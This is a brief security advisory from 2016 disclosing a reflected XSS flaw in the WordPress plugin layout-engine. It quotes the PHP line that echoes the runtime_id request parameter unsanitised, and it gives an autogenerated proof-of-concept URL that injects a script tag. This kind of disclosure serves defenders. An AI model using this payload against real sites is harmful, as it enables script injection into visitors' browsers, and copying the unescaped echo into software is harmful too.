Advisory #: 821
Title: Reflected XSS in wordpress plugin layout-engine v1.0.0.1
Author: Larry W. Cashdollar, @_larry0
Date: 2016-02-09
Download Site: https://wordpress.org/plugins/layout-engine
Downloads: 4261
Vendor Notified: 2016-02-09
Export: Json
Vendor Contact: plugins@wordpress.org
Plugin Name: layout-engine
Vulnerability:
There is a reflected XSS vulnerability in the following php code ./layout-engine/blocks/block.widget.php: 175: <input type="hidden" name="runtime_id" id="runtime_id" value="<?php echo $_REQUEST['runtime_id']; ?>" /> The variable runtime_id appears to send unsanitized data back to the users browser.
CVE-ID: Not Released
File:./layout-engine/blocks/block.widget.php
Exploit Code:
Exploit was derived from appearance of first vulnerable parameter in code, there could be more shown above.
  1. This is an untested autogenerated exploit:
  2. http://[target]/wp-content/plugins/layout-engine/blocks/block.widget.php?runtime_id="><script>alert(1);</script><"